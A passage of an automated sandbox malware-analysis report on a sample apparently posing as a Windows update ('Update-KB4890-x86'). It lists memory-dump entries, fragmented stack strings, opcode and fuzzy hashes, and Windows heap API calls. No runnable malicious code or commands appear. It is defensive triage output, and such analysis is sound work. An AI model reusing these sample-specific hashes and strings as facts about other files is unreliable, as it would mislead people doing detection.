                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$j$j$k$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$t$t$t$t$u$w$w$w$y$y$z$z
                                                                    • API String ID: 0-1641917991
                                                                    • Opcode ID: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
                                                                    • Instruction ID: c31594d21701e52a224cdcfe6db95929ccafb1db7881ef4c4193a4b74e5cc1ed
                                                                    • Opcode Fuzzy Hash: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
                                                                    • Instruction Fuzzy Hash: 5EA2AE2450D7C189E332C72884587DFBFD25BA6718F488E9EC4ED1B292C6BA0259C777
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $ $&$'$'$)$)$,$,$,$,$,$0$0$0$0$3$3$3$4$4$6$8$:$:$:$;$=$?$A$A$C$E$E$E$E$E$H$I$I$J$L$L$L$N$N$N$O$O$O$P$P$P$T$T$T$Y$Y$Y:{$Y:{$Z$Z$Z$^$^$^$^$^$`$`$a$e$e$e$m$p$p$p$s$s$s$v$v$w$z$z${$|$|$|$|$|,T$|,T$|,T$}$}$~
                                                                    • API String ID: 0-75302382
                                                                    • Opcode ID: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
                                                                    • Instruction ID: 0544d4bd05e75d62e2756a487d0dc6e4d92f5e832a14f0b3da5a45c8b404d5bb
                                                                    • Opcode Fuzzy Hash: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
                                                                    • Instruction Fuzzy Hash: 2072A62010C7C189D322D73C945878FFFD55BA7228F585A9DE1E85B3D3C2AA8249C76B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$"$"$#$#$$$$$%$&$&$&$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$:$:$;$;$;$<$<$=$>$?$@$B$C$D$E$E$E$E$F$G$H$I$I$I$I$J$J$K$K$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$q$q$r$s$t$t$u${${$}$}$}
                                                                    • API String ID: 0-3297533030
                                                                    • Opcode ID: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
                                                                    • Instruction ID: 082fff56f21fc62f50753e24676e63cce44abcfe45e5a024b0e2de527967505b
                                                                    • Opcode Fuzzy Hash: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
                                                                    • Instruction Fuzzy Hash: 08E2A02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
                                                                    • API String ID: 0-226567699
                                                                    • Opcode ID: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
                                                                    • Instruction ID: 897faa67981242d41c61dfb40b62df43763f7642aa4407e7da9ffeee02b4687e
                                                                    • Opcode Fuzzy Hash: 5bf2394e186fa3740055896f63d422ae9df793a170122944e5eb4f5801406b64
                                                                    • Instruction Fuzzy Hash: 36929F2400D7C189E332C72884587DFBFD25BA6718F488E9ED4ED1B292C6BA0159C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: #$5$6$6$7$>$>$B$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
                                                                    • API String ID: 0-1314068085
                                                                    • Opcode ID: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
                                                                    • Instruction ID: 9d4485feb2a8a036b1cfc007295b7909a2e3c490d21ab14ed2397911ff3ccdd3
                                                                    • Opcode Fuzzy Hash: 0d3d9c16a7e67113e3b9701a0b24be30b96c2e0d1d52f6ef8f0a9078a67e094f
                                                                    • Instruction Fuzzy Hash: 02829E2450D7C189E332C7288458BDFBFD25BE6718F488E9EC4DD1B292C6BA0259C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CountTick
                                                                    • String ID: #$5$6$6$7$>$>$B$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
                                                                    • API String ID: 536389180-3007975938
                                                                    • Opcode ID: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
                                                                    • Instruction ID: 3eef77c2757c53a506e9ba4930021fd98a878e4b0ac0346694406f782fac75c3
                                                                    • Opcode Fuzzy Hash: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
                                                                    • Instruction Fuzzy Hash: AE729D2054D7C189E332C72884587DFBFD26BE6718F488E9ED4DD1B292C6BA0258C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$c$c$c$d$d$d$d$d$d$d$d$dualc$e$e$e$e$e$e$e$e$f$fna$g$g$h$h$hyb$i$i$i$j$j$j$j$l$l$l$l$lmada$m$m$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$t$u$x$]$y$y$y
                                                                    • API String ID: 0-398216896
                                                                    • Opcode ID: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
                                                                    • Instruction ID: 783009e22913d8b145aff4382d8fc585394a81b2b82b9b90aaca791fecb38a32
                                                                    • Opcode Fuzzy Hash: 61968711493c94afcf7b2d208f4ce372754da47d982c7ba6b8816e6091b8bd33
                                                                    • Instruction Fuzzy Hash: 00A2CF2000D7C189E332C77894547DFBFD11BA6318F489E9ED4ED6A292C6BA0259CB77
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$j$l$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$u$x$]$y$y
                                                                    • API String ID: 0-1246891121
                                                                    • Opcode ID: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
                                                                    • Instruction ID: a28a096e937e9de4dcdb39462e473e9428d52a79a1e09a05438f9163ff59b36a
                                                                    • Opcode Fuzzy Hash: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
                                                                    • Instruction Fuzzy Hash: 0192C02400D7C18AE332CB7894547DFFFD15BA6318F489E9EC4ED6A292C6B60149CB67
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: "$$$'$*$8$>$D$E$I$b$b$b$c$d$d$f$g$g$h$h$h$h$h$h$i$i$l$l$m$m$m$m$n$o$o$o$p$p$p$p$q$r$s$s$s$s$s$s$t$t$t$t$t$t$t$t$u$v$w$z${
                                                                    • API String ID: 0-1889039134
                                                                    • Opcode ID: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
                                                                    • Instruction ID: d93a35099a26fe614cb1a3d73480c0d45d8b3759dc0d557f6e2bb2caa7de7eb8
                                                                    • Opcode Fuzzy Hash: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
                                                                    • Instruction Fuzzy Hash: 5C12E82540D7C1CDD322CB28945478FFFD15FA6618F489E9EE1E847392D2BA8209CB67
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: $!$"$"$#$#$$$&$&$'$)$)$*$+$-$.$.$2$4$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$[$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$i$j$l$n$o$p$r$s$t$t$u${${$}$}
                                                                    • API String ID: 0-3399755458
                                                                    • Opcode ID: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
                                                                    • Instruction ID: 7bb5c3633d4d28a97bd5419e7888351cfa4f1d60291a9d888d1e89523d7a5470
                                                                    • Opcode Fuzzy Hash: bd7c04dccf065e1d88f6d9f7e92eaab3c2c44fac3a6ad3412f958f15279ef865
                                                                    • Instruction Fuzzy Hash: DDA2A13040C7C29AD336C63888587CBBFD46BA6324F588B9DD1ED4A2D2D675024AD767
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(?,00000000), ref: 004164B1
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164EB
                                                                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164F2
                                                                    • lstrlenA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 0041654B
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 004165E3
                                                                    • HeapFree.KERNEL32(00000000), ref: 004165EA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Processlstrlen$AllocFree
                                                                    • String ID: "$#$&$'$'$.$.$/$0$2$3$4$6$7$7$7$9$:$:$>$?$?$A$F$G$I$M$M$M$N$O$S$T$U$U$Y$\$\$]$]$^$a$a$b$c$c$d$d$f$g$h$i$k$l$n$n$n$p$p$s$v$z${${$|$~
                                                                    • API String ID: 2204526134-88862724
                                                                    • Opcode ID: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
                                                                    • Instruction ID: d3d8d2549f7682fd1551bd31a31a6895d5c84ed4d1ce20b04fc8ae49b41e83c9
                                                                    • Opcode Fuzzy Hash: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
                                                                    • Instruction Fuzzy Hash: D8622A2110D7C189D322CB3C985868FBFD51BA7218F585E9DF5E44B3E3C2AA8249C767
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
